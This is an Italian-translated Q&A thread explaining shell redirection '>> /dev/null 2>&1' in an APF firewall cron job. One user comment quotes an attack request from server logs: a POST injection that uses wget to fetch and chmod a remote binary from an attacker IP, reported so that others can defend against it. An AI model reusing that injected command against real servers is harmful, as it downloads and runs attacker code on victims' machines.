Che cos'è / dev / null 2> & 1?


237

Ho trovato questo pezzo di codice in /etc/cron.daily/apf

#!/bin/bash  
/etc/apf/apf -f >> /dev/null 2>&1  
/etc/apf/apf -s >> /dev/null 2>&1  

Sta scaricando e ricaricando il firewall.
Non capisco la >> /dev/null 2>&1parte.

Qual è lo scopo di avere questo nel cron? Sostituisce le mie regole del firewall. Posso rimuovere in modo sicuro questo lavoro cron?


1
A proposito: un modo più breve di mettere a tacere un processo è >&- 2>&-.
Zaz,

22
@Josh: perché rendere le cose ancora più criptiche di quanto non siano già?
endolith il

4
@Josh Questo chiude i rispettivi FD, il che potrebbe far interrompere i programmi.
glglgl

1
è 2>&1 > /dev/nulllo stesso di > /dev/null 2>&1 ? Mi sembra più naturale ...
Edelans,

6
@edelans No. In questo modo reindirizza stderr allo stdout, ma solo lo stdout originale a /dev/null—stderr verrà comunque emesso. Prova lo strumento su gist.github.com/zigg/344361751c0110419b0f
zigg

Risposte:


354

>> /dev/nullreindirizza l'output standard ( stdout) a /dev/null, che lo scarta.

( >>Sembra una specie di superfluo, dal momento che >>significa append mentre >significa troncare e scrivere, e accodare o scrivere /dev/nullha lo stesso effetto netto. Di solito lo uso solo >per quel motivo.)

2>&1reindirizza l'errore standard ( 2) all'output standard ( 1), che quindi lo elimina anche dal momento che l'output standard è già stato reindirizzato.


7
Cosa indica il &simbolo lì dentro 2>&1.
Nessuno il

17
e indica un descrittore di file. Di solito ci sono 3 descrittori di file: input, output ed errore standard.
Test123,

1
@Nessuno controlla la mia risposta qui sotto per la tua domanda stackoverflow.com/questions/10508843/what-is-dev-null-21/…
Vishrant

1
Se & indica un descrittore di file, allora perché non c'è & prima di 2?
user6708151

1
Nel caso in cui altri non leggano la seguente risposta che spiega i descrittori di file:When redirecting data streams, & means whatever follows is a file descriptor, not a filename.
Elysiumplain,

199

Dividiamo la >> /dev/null 2>&1dichiarazione in parti:


Parte 1: >> reindirizzamento dell'output

Questo è usato per reindirizzare l'output del programma e aggiungere l'output alla fine del file. Di Più...


Parte 2: /dev/null file speciale

Questo è un file speciale di pseudo-dispositivi .

Il comando ls -l /dev/nullti fornirà i dettagli di questo file:

crw-rw-rw-. 1 root root 1, 3 Mar 20 18:37 /dev/null

Hai osservato crw? Ciò significa che si tratta di un file pseudo-dispositivo di tipo file carattere speciale che fornisce l'accesso seriale.

/dev/nullaccetta e scarta tutti gli input; non produce alcun output (restituisce sempre un'indicazione di fine file su una lettura). Riferimento: Wikipedia


Parte 3: 2>&1 descrittore di file

Ogni volta che si esegue un programma, il sistema operativo apre sempre tre file, input standard, output standard ed errore standard come sappiamo ogni volta che si apre un file, il sistema operativo (dal kernel ) restituisce un numero intero non negativo chiamato descrittore di file . Il descrittore di file per questi file è rispettivamente 0, 1 e 2.

Quindi 2>&1dice semplicemente reindirizzare l'errore standard all'output standard.

& significa che ciò che segue è un descrittore di file, non un nome di file.

In breve, usando questo comando stai dicendo al tuo programma di non urlare durante l'esecuzione.

Qual è l'importanza dell'utilizzo 2>&1?

Se non si desidera produrre alcun output, anche in caso di errore prodotto nel terminale. Per spiegare più chiaramente, consideriamo il seguente esempio:

$ ls -l > /dev/null

Per il comando sopra, nessun output è stato stampato nel terminale, ma cosa succede se questo comando produce un errore:

$ ls -l file_doesnot_exists > /dev/null
ls: cannot access file_doesnot_exists: No such file or directory

Nonostante stia reindirizzando l'output a /dev/null, viene stampato nel terminale. È perché non stiamo reindirizzando l'output dell'errore a /dev/null, quindi per reindirizzare anche l'output dell'errore, è necessario aggiungere 2>&1:

$ ls -l file_doesnot_exists > /dev/null 2>&1

2
Buon esempio! Non so ">" non reindirizzerà prima "STDERR".
miao.wang,

Ben spiegato! molto informativo. Grazie. Mi aiuterebbe a capire l'attacco web che mi sono imbattuto di recente. L'attaccante sta iniettando del codice dannoso tramite la richiesta POST che contiene un pezzo di codice sopra.
Sohel Pathan,

1
@Vishrant Il codice iniettato è simile a: POST / utente / password? Nome [% 23post_render] [] = sistema e nome [% 23markup] = cd + / tmp; wget + -O + xm111 + xxx.xxx.xxx.xxx/xm111;chmod+777+ xm111; wget + -O + config.json + http: /… > / dev / null 2> & 1 & HTTP / 1.1 xxx.xxx.xxx.xxx è l'IP dell'attaccante ed è anche considerato abusivo in molti siti. Innanzitutto il passo preventivo è bloccare l'IP nel firewall, nonché il modello di tali IP. L'attacco è stato il reindirizzamento sul sito Web di terze parti durante il caricamento della home page. Il registro del server Apache mostra IP e richiesta dubbi.
Sohel Pathan,

5
Mi stavo solo chiedendo perché non stiamo usando '&' anche prima dei 2. Qualcuno potrebbe chiarire il mio dubbio?
Snehasish Karmakar,

1
@SnehasishKarmakar una domanda legittima. Credo che il sistema operativo sia abbastanza intelligente da capire che il primo argomento sarà un descrittore di file ma >è un operatore di reindirizzamento, qualunque cosa segue l'operatore di reindirizzamento dovrebbe essere una posizione di file che aggiunge &prima 1indica che non è un file in cui l'applicazione deve reindirizzare l'output ma un descrittore di file. Apprezzerò se qualcuno può aggiungere ulteriori dettagli di questo commento.
Vishrant,

58

Questo è il modo di eseguire un programma in modo silenzioso e nascondere tutto il suo output.

/dev/nullè un oggetto file system speciale che scarta tutto ciò che vi è scritto. Reindirizzare un flusso in esso significa nascondere l'output del tuo programma.

La 2>&1parte significa "reindirizzare il flusso di errori nel flusso di output", quindi quando si reindirizza il flusso di output, anche il flusso di errori viene reindirizzato. Anche se il tuo programma scrive stderrora, anche quell'output verrebbe scartato.


37
In realtà, in 2>&1realtà reindirizza stderra stdout. La differenza tra questo e quello che hai affermato è meglio illustrata scambiando l'ordine dei reindirizzamenti, ad es 2>&1 >/dev/null.
zigg

15

/dev/null è un file standard che scarta tutto ciò che scrivi, ma segnala che l'operazione di scrittura è riuscita.

1è un output standard ed 2è un errore standard.

2>&1reindirizza l'errore standard all'output standard. &1indica il descrittore di file (output standard), altrimenti (se lo usi solo 1) reindirizzerai l'errore standard a un file chiamato 1. [any command] >>/dev/null 2>&1reindirizza tutti gli errori standard sull'output standard e li scrive tutti /dev/null.


7

Io uso >> /dev/null 2>&1 un cronjob silenzioso. Un cronjob farà il lavoro, ma non invierà un rapporto alla mia e-mail.

Per quanto ne so, non rimuovere /dev/null. È utile, specialmente quando esegui cPanel , può essere utilizzato per i rapporti cronjob da buttare via.


2

Come descritto dagli altri, scrivere su / dev / null elimina l'output di un programma. Di solito cron invia un'email per ogni output del processo avviato con un cronjob. Quindi, scrivendo l'output su / dev / null, si impedisce lo spamming se si è specificato l'indirizzo in cron.


0

Modifica /etc/conf.apf. Set DEVEL_MODE="0". DEVEL_MODEimpostato su 1aggiungerà un processo cron per arrestare apf dopo 5 minuti.

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.